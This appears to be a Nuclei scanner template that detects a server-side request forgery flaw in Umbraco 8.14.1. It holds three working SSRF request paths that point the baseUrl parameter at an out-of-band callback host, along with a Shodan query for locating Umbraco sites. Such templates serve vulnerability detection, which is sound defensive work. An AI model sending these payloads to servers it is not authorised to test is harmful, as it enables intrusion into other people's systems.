id: umbraco-base-ssrf

info:
  name: Umbraco 8.14.1 - baseUrl Server-Side Request Forgery (SSRF)
  author: dhiyaneshDk
  severity: medium
  description: Umbraco 8.1.4.1 allows attackers to use the baseUrl parameter to several programs to perform a server-side request forgery (SSRF) attack.
  reference:
    - https://www.exploit-db.com/exploits/50462
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 6.8
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 3
    shodan-query: http.html:"Umbraco"
  tags: oast,edb,ssrf,umbraco

http:
  - method: GET
    path:
      - '{{BaseURL}}/umbraco/BackOffice/Api/Help/GetContextHelpForPage?section=content&tree=undefined&baseUrl=http://{{interactsh-url}}'
      - '{{BaseURL}}/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardContent?section=TryToAvoidGetCacheItem111&baseUrl=http://{{interactsh-url}}/'
      - '{{BaseURL}}/umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=http://{{interactsh-url}}/'

    stop-at-first-match: true
    req-condition: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: dsl
        dsl:
          - "len(body_1)==0"
          - "len(body_2)==0"
          - "len(body_3)==0"

# digest: 490a00463044022076b67106b10f26f133159d55f07fd11505bbee6f5c7d46fbae3541e4f4cb73ae02207b6b02a5c408b47f73314ba938eedaee931e4d39eba2b4aeb9f4cb20dda1f5a6:922c64590222798bb761d5b6d8e72950